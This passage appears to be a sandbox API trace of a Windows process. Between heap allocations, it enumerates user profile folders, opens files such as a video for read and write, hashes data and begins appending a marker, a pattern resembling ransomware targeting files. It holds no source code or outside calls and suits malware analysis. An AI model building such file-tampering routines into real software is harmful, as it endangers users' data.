RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.461] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.461] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0112.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.461] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.461] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.461] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.461] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.461] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.461] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.461] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.461] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.463] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.463] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.463] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.463] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.463] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.463] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.463] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.463] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.463] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0112.463] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.463] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\") returned="Recent\\" [0112.463] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.463] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.463] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.463] PathFindFileNameW (pszPath="") returned="" [0112.463] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59189d60, ftCreationTime.dwHighDateTime=0x1d4cb4e, ftLastAccessTime.dwLowDateTime=0xc10442c0, ftLastAccessTime.dwHighDateTime=0x1d4cf8c, ftLastWriteTime.dwLowDateTime=0xc10442c0, ftLastWriteTime.dwHighDateTime=0x1d4cf8c, nFileSizeHigh=0x0, nFileSizeLow=0xd9d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_g2PjaKI054.gif", cAlternateFileName="_G2PJA~1.GIF")) returned 0xffffffff [0112.463] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.463] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.463] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\") returned="Saved Games\\" [0112.463] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.463] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.464] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.464] PathFindFileNameW (pszPath="") returned="" [0112.464] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0112.464] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.464] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.464] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini") returned=".ini" [0112.464] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0112.464] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0112.464] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.464] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.464] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="Searches\\" [0112.464] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.464] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.465] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.465] PathFindFileNameW (pszPath="") returned="" [0112.465] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0112.465] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.465] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.465] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini") returned=".ini" [0112.465] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0112.465] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms") returned=".search-ms" [0112.465] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\everywhere.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.465] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0112.465] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms") returned=".search-ms" [0112.465] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\indexed locations.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.465] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0112.465] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0112.465] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.466] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.466] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\") returned="SendTo\\" [0112.466] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.466] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.466] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.466] PathFindFileNameW (pszPath="") returned="" [0112.466] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0112.466] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.466] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.466] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\") returned="Start Menu\\" [0112.466] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.466] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.466] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.466] PathFindFileNameW (pszPath="") returned="" [0112.466] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0112.466] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.466] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.467] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\") returned="Templates\\" [0112.467] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.467] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.467] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.467] PathFindFileNameW (pszPath="") returned="" [0112.467] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0112.467] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.467] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.467] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0112.467] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.467] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.467] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.467] PathFindFileNameW (pszPath="") returned="" [0112.467] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9c0e1ec0, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9c0e1ec0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0112.467] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9c0e1ec0, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9c0e1ec0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.467] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60e5c710, ftCreationTime.dwHighDateTime=0x1d4d56d, ftLastAccessTime.dwLowDateTime=0x20c25e70, ftLastAccessTime.dwHighDateTime=0x1d4c558, ftLastWriteTime.dwLowDateTime=0x20c25e70, ftLastWriteTime.dwHighDateTime=0x1d4c558, nFileSizeHigh=0x0, nFileSizeLow=0x158af, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4XdhJ_Lqlr8BQwVu7.avi", cAlternateFileName="4XDHJ_~1.AVI")) returned 1 [0112.467] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4XdhJ_Lqlr8BQwVu7.avi") returned=".avi" [0112.467] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4XdhJ_Lqlr8BQwVu7.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4xdhj_lqlr8bqwvu7.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.468] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=88239) returned 1 [0112.468] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.469] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x15889, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.469] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.471] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x158af, lpOverlapped=0x0) returned 1 [0112.471] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.471] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.472] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.472] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecc60) returned 1 [0112.472] CryptCreateHash (in: hProv=0x50ecc60, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.472] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.472] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.472] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.472] GetLastError () returned 0x0 [0112.472] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.472] CryptReleaseContext (hProv=0x50ecc60, dwFlags=0x0) returned 1 [0112.473] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x158af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.473] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.473] WriteFile (in: hFile=0x61c, 